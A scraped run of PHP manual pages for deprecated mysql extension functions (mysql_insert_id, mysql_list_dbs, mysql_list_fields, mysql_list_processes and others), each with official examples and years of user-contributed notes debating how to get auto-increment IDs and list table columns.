As a solution to the problem pointed in the post reffering to mysql_affected_rows() returning 0 when you are making an update query and the fields are not modified although the query is valid, i'm posting the following function. It is very simple and based on a previous post.

function mysql_modified_rows () {
        $info_str = mysql_info();
        $a_rows = mysql_affected_rows();
        ereg("Rows matched: ([0-9]*)", $info_str, $r_matched);
        return ($a_rows < 1)?($r_matched[1]?$r_matched[1]:0):$a_rows;
        }

Hope you'll find it usefull.
info at granville dot nl 09-Nov-2005 12:25
Imade a quick conversion of eric's function just to count matched or affected rows from a query.

/**GD gdf_db_count_query_v1: returns the amount of rows matched or affected by the last query. Must be used immediately after the concerned query.
*/

function gdf_db_count_query($link = 'dbh') {

    $info_str = mysql_info($$link);

       if (ereg("Records: ([0-9]*)", $info_str, $count) == false) {
        ereg("Rows matched: ([0-9]*)", $info_str, $count);
    }

    return $count;

}
eric at projectsatellite dot com 22-Sep-2003 11:54
I agree that this is a useful function to use when trying to check on whether an update query matched a particular row. I created a simple function that returns an associative array with the values delineated in the returned string.

function get_mysql_info($linkid = null){
    $linkid? $strInfo = mysql_info($linkid) : $strInfo = mysql_info();

    $return = array();
    ereg("Records: ([0-9]*)", $strInfo, $records);
    ereg("Duplicates: ([0-9]*)", $strInfo, $dupes);
    ereg("Warnings: ([0-9]*)", $strInfo, $warnings);
    ereg("Deleted: ([0-9]*)", $strInfo, $deleted);
    ereg("Skipped: ([0-9]*)", $strInfo, $skipped);
    ereg("Rows matched: ([0-9]*)", $strInfo, $rows_matched);
    ereg("Changed: ([0-9]*)", $strInfo, $changed);

    $return['records'] = $records[1];
    $return['duplicates'] = $dupes[1];
    $return['warnings'] = $warnings[1];
    $return['deleted'] = $deleted[1];
    $return['skipped'] = $skipped[1];
    $return['rows_matched'] = $rows_matched[1];
    $return['changed'] = $changed[1];

    return $return;
}

After trying to update a row that may or may not exist, you can use the above function like so:

$vals = get_mysql_info($linkid);
if($vals['rows_matched'] == 0){
     mysql_query("INSERT INTO table values('val1','val2', 'valetc')", $linkid);
}
carl at NOSPAMthep dot lu dot se 07-Sep-2002 01:44
This function can be used as a workaround for a misfeature of MySQL: on an UPDATE, rows that aren't updated _solely because they looked the same before_ will not be seen in mysql_affected_rows(). This causes problems when you want to use the result of the update to determine if there's need to do an INSERT. With MySQL you can do an INSERT IGNORE if there's no risk of if failing because of a duplicate key other than the one used in the UPDATE. However, if this isn't the case or you want a bit of RDBMS independence, there's no easy/pretty workaround. I think I'll resort to doing a SELECT to determine the primary key before doing the update/insert, as using the CVS version of PHP isn't an option for me.


Get the ID generated in the last query

  • « mysql_info
  • mysql_list_dbs »
  • PHP Manual
  • MySQL Functions
  • Get the ID generated in the last query

mysql_insert_id

(PHP 4, PHP 5)

mysql_insert_id — Get the ID generated in the last query

Warning

This extension is deprecated as of PHP 5.5.0, and will be removed in the future. Instead, the MySQLi or PDO_MySQL extension should be used. See also MySQL: choosing an API guide and related FAQ for more information. Alternatives to this function include:

  • mysqli_insert_id()
  • PDO::lastInsertId()

Description

int mysql_insert_id ([ resource $link_identifier = NULL ] )

Retrieves the ID generated for an AUTO_INCREMENT column by the previous query (usually INSERT).

Parameters

link_identifier

The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() was called with no arguments. If no connection is found or established, an E_WARNING level error is generated.

Return Values

The ID generated for an AUTO_INCREMENT column by the previous query on success, 0 if the previous query does not generate an AUTO_INCREMENT value, or FALSE if no MySQL connection was established.

Examples

Example #1 mysql_insert_id() example

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
    die('Could not connect: ' . mysql_error());
}
mysql_select_db('mydb');

mysql_query("INSERT INTO mytable (product) values ('kossu')");
printf("Last inserted record has id %d\n", mysql_insert_id());
?>

Notes

Caution

mysql_insert_id() will convert the return type of the native MySQL C API function mysql_insert_id() to a type of long (named int in PHP). If your AUTO_INCREMENT column has a column type of BIGINT (64 bits) the conversion may result in an incorrect value. Instead, use the internal MySQL SQL function LAST_INSERT_ID() in an SQL query. For more information about PHP's maximum integer values, please see the integer documentation.

Note:

Because mysql_insert_id() acts on the last performed query, be sure to call mysql_insert_id() immediately after the query that generates the value.

Note:

The value of the MySQL SQL function LAST_INSERT_ID() always contains the most recently generated AUTO_INCREMENT value, and is not reset between queries.

See Also

  • mysql_query() - Send a MySQL query
  • mysql_info() - Get information about the most recent query

User Contributed Notes

hoangvu4000 at gmail dot com 13-Jul-2013 02:09
How to get ID of the last updated row in MySQL?

75
down vote
I've found an answer to this problem :)

by Pomyk

SET @update_id := 0;
UPDATE some_table SET row = 'value', id = (SELECT @update_id := id)
WHERE some_other_row = 'blah' LIMIT 1;
SELECT @update_id;
EDIT by aefxx

This technique can be further expanded to retrieve the ID of every row affected by an update statement:

SET @uids := null;
UPDATE footable
   SET foo = 'bar'
 WHERE fooid > 5
   AND ( SELECT @uids := CONCAT_WS(',', fooid, @uids) );
SELECT @uids;
This will return a string with all the IDs concatenated by a colon.

(questions: 1388025  form stackoverflow)
bargainbatman at gmail dot com 25-Sep-2009 03:16
I thought this would be relevant to all the people using mysqli and looking for the ID after INSERT command :

<?php
function insert_join($catid, $disc_id) {
// insert a new item into the database
   $conn = db_connect();
   // insert new item
   $demande = "insert into categories_disc values ('', '".$catid."', '".$disc_id."')";
   $resultat = $conn->query($demande);
   if (!$resultat) {
     return false;
   } else {
    return $conn->insert_id; // function will now return the ID instead of true.
}

}
?>

Then, on the other side, let us call this function as follows :

<?php
$cat_id = insert_join($catid, $disc_id);
if($cat_id !== false) {

        echo "<p>Category stuff was added to the database as follows : <br>";
        echo "<hr>ID de la category : ".$cat_id."</p><hr>";

        }
?>
RPaseur at NationalPres dot org 18-Sep-2009 08:48
Apparently the value returned by mysql_insert_id() may be correct for BIGINT auto_increment keys below the value of INT, but it may wrap to negative when the BIGINT auto_increment passes the largest signed value of INT.  A timebomb for very large tables...

PHP 5.2.10, MySQL 5.0.81, assume the connection and selection...

<?php
// CREATE A TABLE AND ALTER IT TO A HIGH INDEX NUMBER
$sql = "CREATE TEMPORARY TABLE noise ( id BIGINT NOT NULL AUTO_INCREMENT PRIMARY KEY ) ENGINE=MEMORY";
if (!$res = mysql_query($sql)) die(mysql_error());

$sql = "ALTER TABLE noise AUTO_INCREMENT = 2147483646";
if (!$res = mysql_query($sql)) die(mysql_error());

// INSERT DATA TO ADD TO THE AUTO_INCREMENT INDEX
$kount = 0;
while ($kount < 3)
{
   $sql = "INSERT INTO noise () VALUES ()";
   if (!$res = mysql_query($sql)) die(mysql_error());
   $nid = mysql_insert_id($dbcx);
   var_dump($nid);
   $kount++;
}

// PRODUCES THIS
// int(2147483646)
// int(2147483647)
// int(-2147483648)
?>
Ultimater at gmail dot com 18-May-2009 02:53
Here's an elegant way to INSERT using UPDATE syntax.

<?php
function insert_update($table,$fields,$id=NULL)
{
    if($id===NULL)
    {
        $sql="INSERT INTO $table (id) VALUES(NULL);UPDATE $table SET $fields WHERE id = LAST_INSERT_ID()";
    }else{
        $sql="UPDATE $table SET $fields WHERE id = $id";
    }
    return $sql;
}
?>

Usage:

<?php
$table="`members`";
$fields="`username` = 'Ultimater',`userlevel` = 'member'";
if(!$profile_exists)
{
//insert a record
    $sql=insert_update($table,$fields);
    mysql_query($sql);
}else{
//update a record
    $sql=insert_update($table,$fields,5);
    mysql_query($sql);
}
?>
Anonymous 22-Jul-2008 11:25
If i can't get a good increment.
I use this function

<?php
function get_new_id($table){
 $select = 'select max(`id`) +1as `id` from `'.$table.'`  where `id` != <some big id>';
 $query = mysql_query($select);
 $obj = mysql_fetch_object($query);
 return $obj->id;
}
?>
thomas at tgohome dot com 06-Jul-2008 10:47
Be careful, because this operates on the last performed query, it includes UPDATEs and SELECTs as 'queries'. For example, this is what I set up.

INSERT post into database
UPDATE child forums with insert ID (insert ID is correct)
Insert ID = 0 because of last query
Send the user to their post - but fail because the insert ID is zero.

So store it in a variable like $insert_id instead of querying it every time.
icethenet at NOSPAM dot hotmail dot com 19-Jun-2008 10:13
Other methods seem to have problems with missing records in auto increment sometimes you will have records 1 2 5 6 most functions would return the value of 5 for next auto increment when indeed it would be 7. This is the only way I found to make this work so I can use my customer number and the record number to provide a truly unique customer number that is also useful.

$next_increment = 0;
$qShowStatus = "SHOW TABLE STATUS LIKE 'your_table'";
$qShowStatusResult = mysql_query($qShowStatus) or die(mysql_error());
$row = mysql_fetch_assoc($qShowStatusResult);
$next_increment = $row['Auto_increment'];
echo $next_increment;

then you can do something like this
echo  $next_increment ."-". rand();

My first post: I hope this is useful to someone
Anonymous 02-May-2008 12:22
"Why on earth are you all arguing about the best way to get the next auto_increment value? The whole point is that it increments automatically. The name should be a give away."

Because you need the same last id value in another table. So you need a way to identify it, in order to use it in the next query. This way its easier than using a new query to get the id like ORDER BY id DESC LIMIT 1
elinor dot hurst at REMOVETHIS dot gmail dot com 08-Apr-2008 04:27
I don't get all the fuss around this.

I read:
"The value of mysql_insert_id() is affected only by statements issued within the current client connection. It is not affected by statements issued by other clients."

See: http://dev.mysql.com/doc/refman/5.0/es/mysql-insert-id.html

I can't really see what's inaccurate about that.

"In the case of a multiple-row INSERT statement, mysql_insert_id() returns the first automatically generated AUTO_INCREMENT value; if no such value is generated, it returns the last last explicit value inserted into the AUTO_INCREMENT column."

I must be missing something here but why would you insert multiple rows and then only handle the last one with some favoured behaviour? You could just as well insert them one at a time and then handle each row separately with the latest id.

I can't see what's wrong with that.

However I can see what's wrong with simply using max(my_table.id_column) because of the concurrent access issues this would imply.
Alfred Nony Mouse 24-Feb-2008 02:33
There's nothing inherently wrong with using auto-increment fields. There's also nothing wrong with the main competetive idea, which is for the database to supply a primitive sequence of non-repeating identifiers, typically integers. This is rather like which side of the road you drive on.

The bigger problem is when people don't understand what they are doing with database access. It's like driving a car without really knowing the rules of the road. Such people wind up making bad decisions without realizing it, and then, eventually, something breaks.

Databases are complex beasts, and worth taking the time to really understand. Learn about the implications and limitations of different approaches to solving problems. Then, you will be prepared to pick a solution based on what has to work.
Anonymous 20-Feb-2008 05:45
Why on earth are you all arguing about the best way to get the next auto_increment value? The whole point is that it increments automatically. The name should be a give away.

Don't calculate the next id, just leave the field blank and let the database issue the id itself.
venimus at gmail dot com 14-Feb-2008 04:11
Using 'SELECT MAX(id)+1...' will not return the next auto_increment id. This function is totaly unreliable by two reasons.
1. In race conditions there is no guarantee that other user will not insert new record while your function have done its work. This will render your "generated" last_id obsolete. It is rare case but it happens.
2. Most of all, if the last record(s) in the table is deleted the max id will no longer match the auto_increment value, because auto_increment never repeats numbers, it increases whenever an insert statement is completed and does not decrease if you erase the last record!!!

e.g. If you have this table with the last record deleted:
id name
1. car
2. plane
3. truck - [erased]

auto_increment is 4
but MAX(id) is 2!!!
benfoldsforever 12-Oct-2007 05:04
Just wanted to re-iterate previous comment on receiving NULL or 0 return statement from calling mysql_insert_id() after insert statement.

If you have multiple mysql connections (i.e. mysql_connect() or mysqli_connect()) on the page you will need to specify the the connection you are using when calling this function!

I.e.
mysql_insert_id($MY_CONN);
bonatoque at yahoo.com 20-Sep-2007 10:13
It seems that, in case of a very first INSERT, mysql_insert_id() returns 0. My guess is that MySQL does not trigger auto increment if the table is empty. Once an entry is present, it works as expected.
louis at intoplay dot com 13-Aug-2007 04:53
If mysql_insert_id() returns 0 or null, check your auto increment field is not being set by your sql query, also if you have multiple db connections like I did, the solution is to create a seperate db connection for this query.
foros (_AT_) anthalia.com 31-Jul-2007 11:06
Forget about using MAX to get the last inserted id. Race conditions like other users inserting between your SELECT MAX(.. and your INSERT may render your id unusable.

The WAY to get the id is by using mysql_insert_id() or the mysql SQL function LAST_INSERT_ID().

Take care, if using mysql_insert_id() you should provide the resource returned by the mysql_connect, not the resultset returned by mysql_query.
guelphdad at yahoo dot com 18-Jul-2007 05:35
and the primary reason to use neither of those last two solutions is both could result in race conditions when there is more than a single user with access to the database. when you use MAX or ORDER BY DESC LIMIT 1 you will retrieve the maximum value from the table, at that moment. That doesn't mean another user doesn't do an insertion in the primary and secondary table BEFORE you do your insertion in the secondary table. You have thus inserted a row with a correct id into the second table. Always use last_insert_id()
buana95 att yahoo dott com 29-Oct-2006 10:57
It's not true that mysql_insert_id() only returns the ID generated for an AUTO_INCREMENT column by the previous INSERT query.

We can use LAST_INSERT_ID() statement that will return value for mysql_insert_id().

Example:

$sql = "UPDATE `mytable` SET `mytable_id`= LAST_INSERT_ID(`mytable_id` + 1) WHERE ...;

@mysql_query($sql);
$last_id = mysql_insert_id();

LAST_INSERT_ID() statement will affect mysql_insert_id().

Regards,
Buana
mariano at uvcms dot com 19-Sep-2006 06:01
When used in transactions, mysql_insert_id() MUST be called before committing. Otherwise, it will return unpredictable results.
john k. 31-Jan-2006 11:55
Be careful when using "insert ignore". If the unique index already exists, the record will not be added, but it WILL give you the id of the next auto_increment value even though it didn't create it.

<?php
$sql = "insert ignore into sometable set num=10";
mysql_query($sql) or die();
echo mysql_affected_rows()."<br>";
echo mysql_insert_id()."<br><br>";

// same record, database is unique on 'num'
$sql = "insert ignore into sometable set num=10";
mysql_query($sql) or die();
echo mysql_affected_rows()."<br>";
echo mysql_insert_id()."<br><br>";
?>

would give:
1
116372

0
116373
heiligkind at yahoo dot de 14-Dec-2005 10:31
If you insert a data row by using the ON DUPLICATE KEY UPDATE clause in an INSERT-statement, the mysql_insert_id() function will return not the same results as if you directly use LAST_INSERT_ID() in MySQL.

See the following example:

<?
   // insert a datarow, primary key is auto_increment
   // value is a unique key
   $query = "INSERT INTO test (value) VALUES ('test')";
   mysql_query( $query );

   echo 'LAST_INSERT_ID: ',
          mysql_query( "SELECT LAST_INSERT_ID()" ),
          '<br>mysql_insert_id: ',
          mysql_insert_id();

?>

This will print:

LAST_INSERT_ID: 1
mysql_insert_id: 1

In this case the function returns the same as the MySQL-Statement.
But see the insert on an existing key:

<?
   $query = "INSERT INTO test (value)
                  VALUES ('test')
                  ON DUPLICATE KEY UPDATE value = 'test2'";
   mysql_query( $query );

   echo 'LAST_INSERT_ID: ',
          mysql_query( "SELECT LAST_INSERT_ID()" ),
          '<br>mysql_insert_id: ',
          mysql_insert_id();

?>

This will print:

LAST_INSERT_ID: 2
mysql_insert_id: 1

By using the ON DUPLICATE KEY UPDATE clause, only the old datarow will be modified, if the INSERT statement causes a duplicate entry, but the LAST_INSERT_ID() function returns the next auto_increment value for the primary key, which is by the way not set as the next auto_increment value in the database.

The mysql_insert_id() function returns the primary key of the old (and changed) data row. For me this is the right operation method, because the LAST_INSERT_ID() function returns a value which is not referenced to a data row at all.

Greets from Munich.

heiligkind
Soroushl at gmail dot com 07-Dec-2005 06:53
As mentioned by frumler at the-beach dot no_spam dot net

the LAST_INSERT_ID works like a charm when inserting values into tables.

I'm not sure why anyone would need mysql_insert_id() when LAST_INSERT_ID is readily available.

example:

Say you have a table called "transaction" and a table called "accounts".  Obviously each account must be created using a transaction, so every time a record is created in the accounts table, a record must be created in the transaction table containing the same account_id(auto_increment) that was just created by mysql.

Here's a simple way to do this:

<?php
$account_query="INSERT INTO accounts (account_id,type) VALUES (NULL,'saving')";
$transaction_query="INSERT INTO transactions(transaction_id,account_id) VALUES (NULL,LAST_INSERT_ID)";

$a_query=mysql_query($account_query);
$t_query=mysql_query($transaction_query);

?>
02-Dec-2005 07:48
Take care of setting an empty value for the AUTO_INCREMENT Field else you never get a value except zero returned from mysq_insert_id() ....

Ciao Ephraim
bholbrook at servillian dot com 01-Sep-2005 10:50
My apologies for the error below (that was modified out of a class) - as you cannot define a constant as an array.

replace the line:

<?

define("ID",...);

?>

with

<?

$mysql_id = mysql_query("...");

?>

$mysql_id is now an array in which the first element $mysql_id[0] holds the last inserted id.

Apologies if anyone struggled over that one... esp. the noobs.
athies at gmail dot com 21-Jul-2005 11:36
Just a quick note. mysql_insert_id() does work with REPLACE.
ed at is-cool dot net 08-May-2005 07:25
Beware, mysql_insert_id() only returns the value of the last syntaxically correct insert statement.

If your code has a problem and the insert is not understood by the server then the value of the last working insert command is returned.

Put something else in place such as "select count( id ) from table" before and after the mysql_insert_id() call to ensure that a row was inserted.
relic at daimi dot au dot dk 20-Feb-2005 03:57
A bit more on return values:
mysql_insert_id() returns 0 if you haven't actually manipulated anything yet.

Also, it returns 0 even if the DB connection is lost[0] between inserting and calling mysql_insert_id() - so you can always count on getting an integer.

[0] By 'lost' I mean e.g. a DB crash. Actually closing the open link and then trying to communicate with the DB will of course result in an error.
brodseba AT brodseba DOT com 15-Feb-2005 09:37
It's possible to do the same with M$ Server.

function odbc_insert_id()
{
  $query = "SELECT @@IDENTITY AS ID;";
  $result = odbc_exec($this->m_rConnectionID, $query);
  $row = odbc_fetch_object($result);
  return $row->ID;
}
sander [ad] deltaserv [d0t] nl 11-Nov-2004 02:38
In reply to: sly at noiretblanc dot org:

Make sure that auto_increment has an capital A as the first letter, otherwise it WON'T work! So you have to spell it as Auto_increment... And then it works fine.
Baak 01-Oct-2004 08:04
I believe the "resource link" being referred to is not what is returned from mysql_query() but the $link returned from mysql_connect(). mysql_insert_id() will just use the most recent connection if there is no explicit $link being used.

So the above example in the manual page itself should behave the same with mysql_insert_id($link) at the end instead of the mysql_insert_id() they used. If you had multiple connections, the $link might come in handy.

Also in reading the mysql manual itself, there is some enlightening information on the fact that this does appear to be totally safe to use because it is on a per-connection basis.

Here's the relevant quote from the manual on LAST_INSERT_ID() which is located here: http://dev.mysql.com/doc/mysql/en/Information_functions.html

"The last ID that was generated is maintained in the server on a per-connection basis. This means the value the function returns to a given client is the most recent AUTO_INCREMENT value generated by that client. The value cannot be affected by other clients, even if they generate AUTO_INCREMENT values of their own. This behavior ensures that you can retrieve your own ID without concern for the activity of other clients, and without the need for locks or transactions."

Sounds safe to me. I couldn't imagine this would be done any other way *but* on a per-connection basis, otherwise chaos would ensue. The only way to test it would be to perform a multi-thread type test. Perhaps someone is up for it and wants to post their results somewhere? :)
Steve Bond 24-Jun-2004 08:47
If you use this function after doing an INSERT ... SELECT to insert multiple rows at once, you get the autonumber ID of the *first* row added by the INSERT.

e.g. if there are 4 records in table 'init' that have column 'type' = 2
I want to add these 4 records to table 'game'
Table game has an autonumber column 'game_id' that is currently at 32.

If I do this query:

INSERT INTO game (type, players, rounds)
SELECT type, players, rounds FROM init
WHERE type = 2

Then mysql_insert_id() will return 33, not 36.
Wayne Theisinger 26-Feb-2004 12:40
In response to treylane at example dot com.

It is very very very important that you put in an "or die" or some other form of error handling.

Some scripts can fail invisibly and insert invalid data throughout your whole database because of mysql_insert_id
inserting the last successful insertid rather than reporting that the last attempt failed.

example of an or die statement.

$result = mysql_query($sql)
or die("Invalid query: " . mysql_error());
$EventID = mysql_insert_id();
dtez 12-Feb-2004 01:36
any zerofills on your id get chopped off on this function because it returns an int.
sly at noiretblanc dot org 14-Nov-2003 12:29
To get the NEXT insert id use the mysql query SHOW TABLE STATUS LIKE 'tablename' and get the field auto_increment...
treylane at example dot com 24-Apr-2003 11:36
This might be obvious, but it tripped me up - be careful when using last_insert_id() with persistent connections - running last_insert_id() after a failed update/insert/etc will return the last insert id of the last successful update/insert made by that CONNECTION rather than 0 for the number of rows updated by the previous non-working query, and who knows what the last query run on that connection was.
jameszhou2001 at yahoo dot ca 17-Dec-2002 03:30
Just a reminder, mysql_insert_id() should be called after 'mysql_affected_rows()', but BEFORE 'mysql_query("COMMIT")'.
frumler at the-beach dot no_spam dot net 04-Aug-2001 08:17
If you want to use the ID that was generated for one table and insert it into a second table, you can use SQL statements like this:

INSERT INTO foo (auto,text)
    VALUES(NULL,'text');              # generate ID by inserting NULL
INSERT INTO foo2 (id,text)
    VALUES(LAST_INSERT_ID(),'text');  # use ID in second table

...found here:
http://www.mysql.com/doc/en/Getting_unique_ID.html

It works even without inserting the NULL value for some reason ;)
The following is great for monitoring:
    $new_id = mysql_insert_id();
    print "New id: $new_id\n";

Hope it helps you all, cheers.
vksgeneric at hotmail dot com 10-Dec-1999 02:14
You can't do an INSERT DELAYED and expect to get anything but zero, for it runs in a separate thread, and mysql_insert_id() is tied to the current thread.
Vlad


List databases available on a MySQL server

  • « mysql_insert_id
  • mysql_list_fields »
  • PHP Manual
  • MySQL Functions
  • List databases available on a MySQL server

mysql_list_dbs

(PHP 4, PHP 5)

mysql_list_dbs — List databases available on a MySQL server

Warning

This extension is deprecated as of PHP 5.5.0, and will be removed in the future. Instead, the MySQLi or PDO_MySQL extension should be used. See also MySQL: choosing an API guide and related FAQ for more information. Alternatives to this function include:

  • SQL Query: SHOW DATABASES

Description

resource mysql_list_dbs ([ resource $link_identifier = NULL ] )

Returns a result pointer containing the databases available from the current mysql daemon.

Warning

This function has been DEPRECATED as of PHP 5.4.0. Relying on this function is highly discouraged.

Parameters

link_identifier

The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() was called with no arguments. If no connection is found or established, an E_WARNING level error is generated.

Return Values

Returns a result pointer resource on success, or FALSE on failure. Use the mysql_tablename() function to traverse this result pointer, or any function for result tables, such as mysql_fetch_array().

Examples

Example #1 mysql_list_dbs() example

<?php
// Usage without mysql_list_dbs()
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
$res = mysql_query("SHOW DATABASES");

while ($row = mysql_fetch_assoc($res)) {
    echo $row['Database'] . "\n";
}

// Deprecated as of PHP 5.4.0
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
$db_list = mysql_list_dbs($link);

while ($row = mysql_fetch_object($db_list)) {
     echo $row->Database . "\n";
}
?>

The above example will output something similar to:

database1
database2
database3

Notes

Note:

For backward compatibility, the following deprecated alias may be used: mysql_listdbs()

See Also

  • mysql_db_name() - Retrieves database name from the call to mysql_list_dbs
  • mysql_select_db() - Select a MySQL database

User Contributed Notes

theriault 04-Jul-2012 06:46
Another alternative to this function is:

SQL Query: SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA
matjung at hotmail dot com 27-Feb-2010 11:30
The result pointer contains only the databases for which the mysql_user has the select priviledge granted.


List MySQL table fields

  • « mysql_list_dbs
  • mysql_list_processes »
  • PHP Manual
  • MySQL Functions
  • List MySQL table fields

mysql_list_fields

(PHP 4, PHP 5)

mysql_list_fields — List MySQL table fields

Warning

This extension is deprecated as of PHP 5.5.0, and will be removed in the future. Instead, the MySQLi or PDO_MySQL extension should be used. See also MySQL: choosing an API guide and related FAQ for more information. Alternatives to this function include:

  • SQL Query: SHOW COLUMNS FROM sometable

Description

resource mysql_list_fields ( string $database_name , string $table_name [, resource $link_identifier = NULL ] )

Retrieves information about the given table name.

This function is deprecated. It is preferable to use mysql_query() to issue an SQL SHOW COLUMNS FROM table [LIKE 'name'] statement instead.

Parameters

database_name

The name of the database that's being queried.

table_name

The name of the table that's being queried.

link_identifier

The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() was called with no arguments. If no connection is found or established, an E_WARNING level error is generated.

Return Values

A result pointer resource on success, or FALSE on failure.

The returned result can be used with mysql_field_flags(),
mysql_field_len(),
mysql_field_name() and
mysql_field_type().

Examples

Example #1 Alternate to deprecated mysql_list_fields()

<?php
$result = mysql_query("SHOW COLUMNS FROM sometable");
if (!$result) {
    echo 'Could not run query: ' . mysql_error();
    exit;
}
if (mysql_num_rows($result) > 0) {
    while ($row = mysql_fetch_assoc($result)) {
        print_r($row);
    }
}
?>

The above example will output something similar to:

Array
(
    [Field] => id
    [Type] => int(7)
    [Null] =>
    [Key] => PRI
    [Default] =>
    [Extra] => auto_increment
)
Array
(
    [Field] => email
    [Type] => varchar(100)
    [Null] =>
    [Key] =>
    [Default] =>
    [Extra] =>
)

Notes

Note:

For backward compatibility, the following deprecated alias may be used: mysql_listfields()

See Also

  • mysql_field_flags() - Get the flags associated with the specified field in a result
  • mysql_info() - Get information about the most recent query

User Contributed Notes

phpflow at gmail dot com 23-Jun-2012 05:32
Below script is used to get all coloumn indormation of an table.When we are working custome ORM then we need to match the coloumn name with array keys.

<?php
function getColoumn($table) {
     $result = mysql_query("SHOW COLUMNS FROM ". $table);
      if (!$result) {
        echo 'Could not run query: ' . mysql_error();
      }
      $fieldnames=array();
      if (mysql_num_rows($result) > 0) {
        while ($row = mysql_fetch_assoc($result)) {
          $fieldnames[] = $row['Field'];
        }
      }

      return $fieldnames;
}
?>
perwool at seznam dot cz 29-Oct-2007 11:32
Every my html table output begins with heading row containing the field names. For that purpose I accepted the short combination of MySQL function, giving me a result similar to the mysql_fetch_array() for the row of values. The following example shows the basic idea. It should be adapted for the specific use:

<?php
//...
$field_names = array_keys( mysql_fetch_array( mysql_query( $query, $link), MYSQL_ASSOC));
//...
?>

The advantage of this is, that it gives the names of the result, neither the field names of the whole table.
Please read the discussion about duplicate field names in SQL result carefully. The use, as shown in the example above, increments the pointer, hence some regular function, which does not, could be more useful :-)

Jan
steve at tequilasolutions dot com 12-Sep-2006 03:33
Note, using mysql_list_fields will change the currently selected database so subsequent mysql_query operations will be on the database in param 1 not the one selected with mysql_select_db
rhyous at yahoo dot com 05-Jun-2005 12:22
To make an array containing the names of a column from a table, you use the following simple script: (Note: using table1 with three columns)

<?php
$qColumnNames = mysql_query("SHOW COLUMNS FROM table1",$db) or die("mysql error");
$numColumns = mysql_num_rows($qColumnNames);
$x = 0;
while ($x < $numColumns)
{
    $colname = mysql_fetch_row($qColumnNames);
    $col[$colname[0]] = $colname[0];
    $x++;
}

print_r($col);

/* it will have the following output
Array (
[firstcolumn] => firstcolumn
[secondcolumn] => secondcolumn
[thirdcolumn] => thirdcolumn
)
*/
?>

Or you can number the columns from zero.  This help when using it in conjunction with mysql_fetch_row to get an array.  You don't have to remember which number of the array a certain column is.

<?php
$qColumnNames = mysql_query("SHOW COLUMNS FROM table1",$db) or die("mysql error");
$numColumns = mysql_num_rows($qColumnNames);
$x = 0;
while ($x < $numColumns)
{
    $colname = mysql_fetch_row($qColumnNames);
    $col[$colname[0]] = $x;
    $x++;
}

print_r($col);

/* it will have the following output
Array (
[firstcolumn] => 0
[secondcolumn] => 1
[thirdcolumn] => 2
)
*/
?>

To use it in conjuction with mysql_fetch_row:

<?php
$row = mysql_fetch_row("SELECT * from table1",$db) or die("mysql error");
?>

You can now call $row[col[firstcolumn]].  This becomes useful when you have a lot of columns.
mbevan at marginsoftware dot com 13-Nov-2003 10:40
If you're willing to use a lot of functions to get a little information about fields in a table, this function is for you.  If you just want to get all the information you can find, you can use this:

<?php

// Taken from: http://ca.php.net/manual/en/function.mysql-field-flags.php
// Original by: amir at scrounch dot com
// Returns the name of the fields in the primary key for a table.
// Also keeps the fields in KEY order.  Handy.
function getPrimaryKeyOf($table) {
  $keys = Array();

  $query = sprintf("SHOW KEYS FROM `%s`", $table);
  $result = mysql_query($query) or die(mysql_error());

  while ($row = mysql_fetch_assoc($result)) {
    if ( $row['Key_name'] == 'PRIMARY' )
      $keys[$row['Seq_in_index'] - 1] = $row['Column_name'];
  }

  return $keys;
}

// Returns a bunch of information about a table...
// The name of the auto-increment field, if any, fields in the
// primary key (using the function above), and all information
// about all fields.
function getTableInformationOf($table) {
  $information = array(
      "auto"    => "",
      "primary" => array(),
      "fields"  => array()
    );

  $information['primary'] = $this->getPrimaryKeyOf($table);

  $result = mysql_query("DESC `$table`");
  while ( $field = mysql_fetch_assoc($result) ) {
    $information['fields'][] = $field;
    if ( $field['Extra'] == "auto_increment" )
      $information['auto'] = $field['Field'];
  }

  return $information;
}

?>
dom at brainwaveuk dot com 19-Jul-2002 04:55
mysql_list_fields() retrieves information about the given table name but you can use something like mysql_fetch_field to retrieve the field names from a result source.


List MySQL processes

  • « mysql_list_fields
  • mysql_list_tables »
  • PHP Manual
  • MySQL Functions
  • List MySQL processes

mysql_list_processes

(PHP 4 >= 4.3.0, PHP 5)

mysql_list_processes — List MySQL processes

Warning

This extension is deprecated as of PHP 5.5.0, and will be removed in the future. Instead, the MySQLi or PDO_MySQL extension should be used. See also MySQL: choosing an API guide and related FAQ for more information. Alternatives to this function include:

  • mysqli_thread_id()

Description

resource mysql_list_processes ([ resource $link_identifier = NULL ] )

Retrieves the current MySQL server threads.

Parameters

link_identifier

The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() was called with no arguments. If no connection is found or established, an E_WARNING level error is generated.

Return Values

A result pointer resource on success or FALSE on failure.

Examples

Example #1 mysql_list_processes() example

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');

$result = mysql_list_processes($link);
while ($row = mysql_fetch_assoc($result)){
    printf("%s %s %s %s %s\n", $row["Id"], $row["Host"], $row["db"],
        $row["Command"], $row["Time"]);
}
mysql_free_result($result);
?>

The above example will output something similar to:

1 localhost test Processlist 0
4 localhost mysql sleep 5

See Also

  • mysql_thread_id() - Return the current thread ID
  • mysql_stat() - Get current system status

User Contributed Notes

clintond at iol dot ie 16-Oct-2014 02:19
You can achieve the equivalent of the mysql_list_processes() function for MySQLi in php using:
function mysqli_list_processes(){
  $query = "SHOW PROCESSLIST";
  if ($res =$this->mysqli->query($query)){
    while ($row = $res->fetch_assoc()) $recs[$i++] = $row;
    $res->close();
    return $recs;
  } else {
    return false;
  }
}


List tables in a MySQL database

  • « mysql_list_processes
  • mysql_num_fields »
  • PHP Manual
  • MySQL Functions
  • List tables in a MySQL database

mysql_list_tables

(PHP 4, PHP 5)

mysql_list_tables — List tables in a MySQL database

Warning

This extension is deprecated as of PHP 5.5.0, and will be removed in the future. Instead, the MySQLi or PDO_MySQL extension should be used. See also MySQL: choosing an API guide and related FAQ for more information. Alternatives to this function include:

  • SQL Query: SHOW TABLES FROM sometable

Description

